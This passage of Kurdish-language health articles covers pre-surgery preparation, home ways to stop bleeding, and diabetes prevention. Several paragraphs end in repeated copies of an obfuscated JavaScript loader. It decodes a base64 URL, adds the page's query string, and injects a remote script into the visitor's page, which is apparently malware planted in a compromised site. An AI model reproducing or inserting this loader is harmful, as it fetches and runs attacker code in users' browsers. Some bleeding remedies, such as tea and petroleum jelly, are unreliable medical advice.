د. ئەحمەد سەلاح، تایبەتمەندێ نشتەرگەریا گشتی دیارکر کو نەخۆشێن شەکرێ و فشارا خوینێ بەری نشتەرگەریێ پێدڤیە چارەسەریا خۆ وەرگرن و هەتا ڤەدگەرن رێژا سرۆشتی ژنوی نشتەرگەری بۆ بهێنە ئەنجامدان.
دەربارەی جورێن پشکنینان بەری نشتەرگەریان دیارکر کو دهێنە دابەشکرن بۆ دو پشکا ئێک ژێ گرێدای نەخۆشینە وەکو هندەک پشکنینێن خوینێ یان ڕەنین و سونار و میفراس ل دەمێن پێدڤی و هندەک جارا نازوورا مەعیدێ یان قولونێ و هندەک ژی گرێدای زانینا رەوشا نەخۆشینە وەکو کارێ گۆلچیسکا و جگەرێ و هندەک ژی گرێدای ژیانا نەخۆشینە وەکو ئیکو و تیشکا سینگی و گۆت: هندەک جارا ژی ئەم پێدڤی ب وەرگرتنا رەئیا تایبەتمەندەکێ دی دبین داکو بشێین نشتەرگەریێ بکەین.
د. ئەحمەد سەلاح، ئەوژی دیارکر پێدڤیە نەخۆش شەش سعەتا بەری نشتەرگەریێ خۆ ژ خارنێ دووربکەت و دو هەتا سێ سعەتا بەری بچیتە ژوورا نشتەرگەریێ دشێت ئاڤێ ڤەخۆت و بو زارۆکێن شیرخۆر ژی چار سعەت پێدڤینە کو چ نەخۆت و ڤەخۆت و گۆتژی: پێدڤیە نەخۆش ب سێ حهفتیان بەری نشتەرگەریێ ب ئێکجار خۆ ژ جگارکشانێ دووربکەت ب تایبەت ل دەمێ ئەنجامدانا نشتەرگەریان ل ژێر بەنجا گشتی، چونکو زیانێن وێ لسەر سیهێن وی هەنە.
هەروەسا دیارکر هەر چ نەبیت شەڤا نشتەرگەریێ نەخۆش سەرێ خۆ بشۆت و لەشێ خۆ ب گشتی پاقژبکەت.
دەربارەی دەرمانان دیارکر، هندەک نەخۆشێن دۆمدرێژ هەنە کو بەردەوام دەرمانا ب کاردئینن وەکو نەخۆشێن شەکرێ کو هەکە حەبا ب کاربینن دڤێت ب کاربینیت بەری نشتەرگەریێ ژی و ئەوێن ئەنسولینی وەردگرن پێدڤیە بەری نشتەرگەریێ ل نەخۆشخانێ بهێنە نڤاندن دابشێین کونترول بکەن و ئەوێن تێکچوونێن دەروونی هەین دڤێت بزانین چ دەرمانا ب کاردئینیت.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

هندەک جارا ل مال یان ل سەیرانێ دەستێ مە یان جهەک دی دبڕیت و خوین لێ‌ دڕژیت، و هندەك جارا ڕێژەیەكا زۆر یا خوینێ ژێ دهێت و پێدڤی دکەت خوین بهێتە راوەەستان هەتا وی كەسی دگەهینین نەخۆشخانێ.
ل ڤێرێ دێ ئاماژێ ب پێنج رێکان دەین کو هاریکارن بۆ راوەستاندنا خوینێ، ئەوژی:
١. فشار ئێخستن سەر جهێ برینێ: فشار ئێخستن سەر برینێ باشترین رێکە هەتاکو ڕێک نەهێتە دان کو گەلەک خوین ژێ‌ بچیت، ئانکو ب پارچەیەكا گۆزێ یان قوماشێ پاقژ و هشك دابپۆشیت و فشارەکا دژوار بێخیتە سەر.
٢. بلندکرنا جهێ برینێ: ئەڤەژی رێکەکا باشە بۆ كێمکرنا رژینا خوینێ.
٣. دانانا جەمەدی ل سەر جهی: ئەڤەژی ب لەزترین ڕێکە بۆ راوەستاندنا خوینێ.
٤. چا: هەردەم چا ب تایبەت بۆ خوینا ددانی یا باشە و دراوەستینیت.
٥. جێڵیا پترولیوم ( ڤازلین): ئەوژی گەلەک یا باشە بۆ راوەستاندنا خوینێ.(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();

ڤه‌كۆلینه‌كا نوو ل فینله‌ندا پشتراستكر، خوارنا ساخله‌م مه‌ترسییا تووشبوون ب نه‌خۆشییا شه‌كرێ كێم دكه‌ت، ڤه‌كۆلین ل زانكۆیا ئێستێرن ل فینله‌ندا ل سه‌ر 600 خۆبه‌خشان هاته‌ كرن و ده‌ركه‌ڤت، هه‌ر كه‌سه‌كێ سێ دانێن خوارنێ یێن ساخله‌م بخۆت، دێ شه‌كرا خوینا وی هێته‌ كونترۆلكرن، مه‌ترسییا تووشبوونا وی ب نه‌خۆشییا شه‌كرا ژ جۆ دووێ ژی كێم بیت.
ل دووڤ كۆمه‌لا شه‌كرێ یا ئه‌مریكی ئه‌ڤ ڕێیه‌ بۆ خۆ دووركرن ژ نه‌خۆشییا شه‌كرێ د گونجاینه‌:
– ڕێكوپێكییا له‌شی
– كێمكرنا فشارێن ده‌روونی و دلگرانییێ
– خوارنا ساخله‌م، كێمكرنا كاربۆهیدرات و خوارنێن بله‌ز
– ڕێكخستنا ده‌مێ نڤستنێ
– دووركه‌ڤتن ژ جگاره‌ و نارگیله‌ و كحولییاتان
– سپۆر و لڤینا ڕۆژانه‌
– ڤه‌خوارنا ڕێژه‌یه‌كا مه‌زن یا ئاڤێ
نۆشدار شیره‌تێ ل وان كه‌سان دكه‌ن یێن نه‌خۆشییا شه‌كرێ هه‌یی خۆ ژ ڤان خوارنان دووربكه‌ن:
– نانێ سپی
– برنجا سپی
– ماكارۆنا سپی
– پتات
– شووتی و گوندۆر
– ئه‌نه‌ناس
– دووهنێ تیر وه‌كو ئه‌وێ دناڤ گشتێ سووردا ‌ی(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();